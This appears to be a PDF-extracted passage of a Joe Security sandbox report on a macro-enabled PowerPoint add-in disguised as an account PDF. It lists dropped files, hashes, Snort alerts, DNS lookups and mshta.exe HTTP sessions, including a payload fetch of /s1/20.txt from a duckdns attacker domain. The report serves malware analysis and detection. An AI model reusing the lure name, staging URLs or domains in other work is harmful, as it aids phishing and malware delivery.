C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms. (copy)
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.582879909614833

Encrypted: false

SSDEEP: 96:chQCQMqLqvsqvJCwo1z8hQCQMqLqvsEHyqvJCworfzKAY0HK/cXIlUVLA2:cW+o1z8WWHnorfzKB/cXfA2

MD5: 2A617F1FAEC7CC0FED7F8D0F8818CECA

SHA1: 7835C9C5AC6AD82734222B71506E2721CD906349

SHA-256: 89AE7FB31B51E3CE687E3800358D1840CFB2B07918F81FE9D2BCA4B9CBCA8413

SHA-512: D8B89F64AFAF43F25517C60D04A2F8629FDBAC984C4EB62D4CB786949914F6F7DC966FE11C7DFD8622DEA84680C1E2D2F421416317BFC833CFD55DEE524748E2

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......S!...Programs..f.......:...S!.*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms\ (copy)
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.582879909614833

Encrypted: false

SSDEEP: 96:chQCQMqLqvsqvJCwo1z8hQCQMqLqvsEHyqvJCworfzKAY0HK/cXIlUVLA2:cW+o1z8WWHnorfzKB/cXfA2

MD5: 2A617F1FAEC7CC0FED7F8D0F8818CECA

SHA1: 7835C9C5AC6AD82734222B71506E2721CD906349

SHA-256: 89AE7FB31B51E3CE687E3800358D1840CFB2B07918F81FE9D2BCA4B9CBCA8413

SHA-512: D8B89F64AFAF43F25517C60D04A2F8629FDBAC984C4EB62D4CB786949914F6F7DC966FE11C7DFD8622DEA84680C1E2D2F421416317BFC833CFD55DEE524748E2

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......S!...Programs..f.......:...S!.*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msar (copy)
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.582879909614833

Encrypted: false

SSDEEP: 96:chQCQMqLqvsqvJCwo1z8hQCQMqLqvsEHyqvJCworfzKAY0HK/cXIlUVLA2:cW+o1z8WWHnorfzKB/cXfA2

MD5: 2A617F1FAEC7CC0FED7F8D0F8818CECA

SHA1: 7835C9C5AC6AD82734222B71506E2721CD906349

SHA-256: 89AE7FB31B51E3CE687E3800358D1840CFB2B07918F81FE9D2BCA4B9CBCA8413

SHA-512: D8B89F64AFAF43F25517C60D04A2F8629FDBAC984C4EB62D4CB786949914F6F7DC966FE11C7DFD8622DEA84680C1E2D2F421416317BFC833CFD55DEE524748E2

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......S!...Programs..f.......:...S!.*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AQYZ01APXBHT9275V80X.temp
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data
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Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.582879909614833

Encrypted: false

SSDEEP: 96:chQCQMqLqvsqvJCwo1z8hQCQMqLqvsEHyqvJCworfzKAY0HK/cXIlUVLA2:cW+o1z8WWHnorfzKB/cXfA2

MD5: 2A617F1FAEC7CC0FED7F8D0F8818CECA

SHA1: 7835C9C5AC6AD82734222B71506E2721CD906349

SHA-256: 89AE7FB31B51E3CE687E3800358D1840CFB2B07918F81FE9D2BCA4B9CBCA8413

SHA-512: D8B89F64AFAF43F25517C60D04A2F8629FDBAC984C4EB62D4CB786949914F6F7DC966FE11C7DFD8622DEA84680C1E2D2F421416317BFC833CFD55DEE524748E2

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......S!...Programs..f.......:...S!.*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AQYZ01APXBHT9275V80X.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BUUO1DMCS4BHU3HYGHQQ.temp
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.582879909614833

Encrypted: false

SSDEEP: 96:chQCQMqLqvsqvJCwo1z8hQCQMqLqvsEHyqvJCworfzKAY0HK/cXIlUVLA2:cW+o1z8WWHnorfzKB/cXfA2

MD5: 2A617F1FAEC7CC0FED7F8D0F8818CECA

SHA1: 7835C9C5AC6AD82734222B71506E2721CD906349

SHA-256: 89AE7FB31B51E3CE687E3800358D1840CFB2B07918F81FE9D2BCA4B9CBCA8413

SHA-512: D8B89F64AFAF43F25517C60D04A2F8629FDBAC984C4EB62D4CB786949914F6F7DC966FE11C7DFD8622DEA84680C1E2D2F421416317BFC833CFD55DEE524748E2

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......S!...Programs..f.......:...S!.*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KU79PZUPCRAJB9M9RQP2.temp
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.582879909614833

Encrypted: false

SSDEEP: 96:chQCQMqLqvsqvJCwo1z8hQCQMqLqvsEHyqvJCworfzKAY0HK/cXIlUVLA2:cW+o1z8WWHnorfzKB/cXfA2

MD5: 2A617F1FAEC7CC0FED7F8D0F8818CECA

SHA1: 7835C9C5AC6AD82734222B71506E2721CD906349

SHA-256: 89AE7FB31B51E3CE687E3800358D1840CFB2B07918F81FE9D2BCA4B9CBCA8413

SHA-512: D8B89F64AFAF43F25517C60D04A2F8629FDBAC984C4EB62D4CB786949914F6F7DC966FE11C7DFD8622DEA84680C1E2D2F421416317BFC833CFD55DEE524748E2

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......S!...Programs..f.......:...S!.*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XG9NCQX4ILMZE1IDCEJ9.temp
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.582879909614833

Encrypted: false

SSDEEP: 96:chQCQMqLqvsqvJCwo1z8hQCQMqLqvsEHyqvJCworfzKAY0HK/cXIlUVLA2:cW+o1z8WWHnorfzKB/cXfA2

MD5: 2A617F1FAEC7CC0FED7F8D0F8818CECA

SHA1: 7835C9C5AC6AD82734222B71506E2721CD906349

SHA-256: 89AE7FB31B51E3CE687E3800358D1840CFB2B07918F81FE9D2BCA4B9CBCA8413

SHA-512: D8B89F64AFAF43F25517C60D04A2F8629FDBAC984C4EB62D4CB786949914F6F7DC966FE11C7DFD8622DEA84680C1E2D2F421416317BFC833CFD55DEE524748E2
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Static File Info

General
File type: Microsoft PowerPoint 2007+

Entropy (8bit): 7.6789747787351486

TrID: Microsoft PowerPoint Macro-enabled Open XML 
add-in (32504/1) 80.25%
ZIP compressed archive (8000/1) 19.75%

File name: Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam

File size: 8635

MD5: 801ebbda05a9a4dab1f22c0cc979e696

SHA1: ac65f3e2a69fa2bed620c315cf5894f0c57be8f4

SHA256: a9fab95f89805a51542cf30800de459ff78eb8a326264205
3959ef17c220e5a4

SHA512: c32b2c0e05ed3eec8138567100d056da3417d45b37362f
7ec205781adecd2f1557bd887da795fb3689325c3871d21
f6a3b7aa060c7e0de1c7647ea3caaad6bfc

SSDEEP: 192:aCpPphi3j5JfLjusb0mDmd+Re6Al5xn0jjc6JHWpnq
B:aMPpY5JfLDbedtB0jj1J2gB

File Content Preview: PK.........qxS................[Content_Types].xml...N.0..w$....
b...P..PF.P...\..s..#.o.......}...}.j?:1aL.S-oU)...........A..@-8
OX..&.j....!`.YM...sx.:..GH...<.|...1.:.....]Y.k......C6.3v..X....
...V..#7G..Bp......Uc*|.Y.j..&..4,..f.]....rq...ra.`C.....yr>

File Icon

Icon Hash: 9e9ab2eaccdcdcdc

Snort IDS Alerts

Network Port Distribution

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......S!...Programs..f.......:...S!.*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XG9NCQX4ILMZE1IDCEJ9.temp

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source
IP Dest IP

11/25/21-
18:33:57.254144

UDP 254 DNS SPOOF query response with TTL of 1 min. and no authority 53 51771 8.8.8.8 192.168.2.22

11/25/21-
18:33:57.397406

UDP 254 DNS SPOOF query response with TTL of 1 min. and no authority 53 51771 8.8.8.8 192.168.2.22

11/25/21-
18:34:14.438249

UDP 254 DNS SPOOF query response with TTL of 1 min. and no authority 53 49894 8.8.8.8 192.168.2.22

11/25/21-
18:34:14.580340

UDP 254 DNS SPOOF query response with TTL of 1 min. and no authority 53 49894 8.8.8.8 192.168.2.22

11/25/21-
18:34:14.613767

UDP 254 DNS SPOOF query response with TTL of 1 min. and no authority 53 49894 8.8.8.8 192.168.2.22

TCP Packets

UDP Packets
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Nov 25, 2021 18:33:29.877008915 CET 192.168.2.22 8.8.8.8 0xf102 Standard query 
(0)

j.mp A (IP address) IN (0x0001)

Nov 25, 2021 18:33:31.041177034 CET 192.168.2.22 8.8.8.8 0xddf0 Standard query 
(0)

www.mediaf
ire.com

A (IP address) IN (0x0001)

Nov 25, 2021 18:33:32.040200949 CET 192.168.2.22 8.8.8.8 0x7925 Standard query 
(0)

download23
47.mediafire.com

A (IP address) IN (0x0001)

Nov 25, 2021 18:33:39.004993916 CET 192.168.2.22 8.8.8.8 0x322e Standard query 
(0)

kdaoskdoka
odkwldld.b
logspot.com

A (IP address) IN (0x0001)

Nov 25, 2021 18:33:40.595225096 CET 192.168.2.22 8.8.8.8 0x16ef Standard query 
(0)

www.blogger.com A (IP address) IN (0x0001)

Nov 25, 2021 18:33:42.853861094 CET 192.168.2.22 8.8.8.8 0x70d0 Standard query 
(0)

accounts.g
oogle.com

A (IP address) IN (0x0001)

Nov 25, 2021 18:33:43.684773922 CET 192.168.2.22 8.8.8.8 0x1413 Standard query 
(0)

resources.
blogblog.com

A (IP address) IN (0x0001)

Nov 25, 2021 18:33:57.111571074 CET 192.168.2.22 8.8.8.8 0x22e1 Standard query 
(0)

www.starin
xxxgkular.
duckdns.org

A (IP address) IN (0x0001)

Nov 25, 2021 18:33:57.255368948 CET 192.168.2.22 8.8.8.8 0x22e1 Standard query 
(0)

www.starin
xxxgkular.
duckdns.org

A (IP address) IN (0x0001)

Nov 25, 2021 18:33:58.082583904 CET 192.168.2.22 8.8.8.8 0xff Standard query 
(0)

www.google.com A (IP address) IN (0x0001)

Nov 25, 2021 18:34:03.290301085 CET 192.168.2.22 8.8.8.8 0x9806 Standard query 
(0)

www.google.com A (IP address) IN (0x0001)

Nov 25, 2021 18:34:14.292495966 CET 192.168.2.22 8.8.8.8 0xcec0 Standard query 
(0)

www.starin
xxxgkular.
duckdns.org

A (IP address) IN (0x0001)

Nov 25, 2021 18:34:14.438790083 CET 192.168.2.22 8.8.8.8 0xcec0 Standard query 
(0)

www.starin
xxxgkular.
duckdns.org

A (IP address) IN (0x0001)

Nov 25, 2021 18:34:14.581383944 CET 192.168.2.22 8.8.8.8 0xcec0 Standard query 
(0)

www.starin
xxxgkular.
duckdns.org

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 25, 2021 
18:33:29.897862911 
CET

8.8.8.8 192.168.2.22 0xf102 No error (0) j.mp 67.199.248.16 A (IP address) IN (0x0001)

Nov 25, 2021 
18:33:29.897862911 
CET

8.8.8.8 192.168.2.22 0xf102 No error (0) j.mp 67.199.248.17 A (IP address) IN (0x0001)

Nov 25, 2021 
18:33:31.064960003 
CET

8.8.8.8 192.168.2.22 0xddf0 No error (0) www.mediaf
ire.com

104.16.203.237 A (IP address) IN (0x0001)

Nov 25, 2021 
18:33:31.064960003 
CET

8.8.8.8 192.168.2.22 0xddf0 No error (0) www.mediaf
ire.com

104.16.202.237 A (IP address) IN (0x0001)

Nov 25, 2021 
18:33:32.103673935 
CET

8.8.8.8 192.168.2.22 0x7925 No error (0) download23
47.mediafi
re.com

199.91.155.88 A (IP address) IN (0x0001)

Nov 25, 2021 
18:33:39.042726994 
CET

8.8.8.8 192.168.2.22 0x322e No error (0) kdaoskdoka
odkwldld.b
logspot.com

blogspot.l.googleusercont
ent.com

CNAME 
(Canonical 
name)

IN (0x0001)

Nov 25, 2021 
18:33:39.042726994 
CET

8.8.8.8 192.168.2.22 0x322e No error (0) blogspot.l
.googleuse
rcontent.com

172.217.168.1 A (IP address) IN (0x0001)

Nov 25, 2021 
18:33:40.632927895 
CET

8.8.8.8 192.168.2.22 0x16ef No error (0) www.blogge
r.com

blogger.l.google.com CNAME 
(Canonical 
name)

IN (0x0001)

Nov 25, 2021 
18:33:40.632927895 
CET

8.8.8.8 192.168.2.22 0x16ef No error (0) blogger.l.
google.com

172.217.168.9 A (IP address) IN (0x0001)

Nov 25, 2021 
18:33:42.891796112 
CET

8.8.8.8 192.168.2.22 0x70d0 No error (0) accounts.g
oogle.com

172.217.168.45 A (IP address) IN (0x0001)

Nov 25, 2021 
18:33:43.700294018 
CET

8.8.8.8 192.168.2.22 0x1413 No error (0) resources.
blogblog.com

blogger.l.google.com CNAME 
(Canonical 
name)

IN (0x0001)

Nov 25, 2021 
18:33:43.700294018 
CET

8.8.8.8 192.168.2.22 0x1413 No error (0) blogger.l.
google.com

172.217.168.9 A (IP address) IN (0x0001)

DNS Queries

DNS Answers

Copyright Joe Security LLC 2021 Page 24 of 90



Nov 25, 2021 
18:33:57.254143953 
CET

8.8.8.8 192.168.2.22 0x22e1 No error (0) www.starin
xxxgkular.
duckdns.org

142.251.40.228 A (IP address) IN (0x0001)

Nov 25, 2021 
18:33:57.397406101 
CET

8.8.8.8 192.168.2.22 0x22e1 No error (0) www.starin
xxxgkular.
duckdns.org

142.251.40.228 A (IP address) IN (0x0001)

Nov 25, 2021 
18:33:58.098680973 
CET

8.8.8.8 192.168.2.22 0xff No error (0) www.google
.com

172.217.168.68 A (IP address) IN (0x0001)

Nov 25, 2021 
18:34:03.313239098 
CET

8.8.8.8 192.168.2.22 0x9806 No error (0) www.google
.com

172.217.168.68 A (IP address) IN (0x0001)

Nov 25, 2021 
18:34:03.395493031 
CET

8.8.8.8 192.168.2.22 0xacf No error (0) www-google-
analytics
.l.google.com

216.58.215.238 A (IP address) IN (0x0001)

Nov 25, 2021 
18:34:14.438249111 
CET

8.8.8.8 192.168.2.22 0xcec0 No error (0) www.starin
xxxgkular.
duckdns.org

142.251.40.228 A (IP address) IN (0x0001)

Nov 25, 2021 
18:34:14.580339909 
CET

8.8.8.8 192.168.2.22 0xcec0 No error (0) www.starin
xxxgkular.
duckdns.org

142.251.40.228 A (IP address) IN (0x0001)

Nov 25, 2021 
18:34:14.613766909 
CET

8.8.8.8 192.168.2.22 0xcec0 No error (0) www.starin
xxxgkular.
duckdns.org

142.251.40.228 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
j.mp

            
www.mediafire.com

            
download2347.mediafire.com

            
kdaoskdokaodkwldld.blogspot.com

            
https:

www.blogger.com
accounts.google.com
resources.blogblog.com

            
www.starinxxxgkular.duckdns.org

www.google.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49165 67.199.248.16 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49166 104.16.203.237 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

10 192.168.2.22 49175 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

HTTP Request Dependency Graph

HTTP Packets
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Session ID Source IP Source Port Destination IP Destination Port Process

11 192.168.2.22 49176 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

12 192.168.2.22 49177 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

13 192.168.2.22 49178 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

14 192.168.2.22 49179 142.251.40.228 80 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Nov 25, 2021 
18:33:57.516665936 CET

573 OUT GET /s1/20.txt HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.starinxxxgkular.duckdns.org
Connection: Keep-Alive

Nov 25, 2021 
18:33:57.615629911 CET

575 IN HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Referrer-Policy: no-referrer
Content-Length: 1570
Date: Thu, 25 Nov 2021 17:33:57 GMT
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 
74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 7
2 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 2
0 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 
35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 
64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 
69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 
3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 
6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 
73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 
72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 
6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 
3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 
28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 
61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 
74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 
5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 
66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 
6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 
77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 7
8 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 
20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 
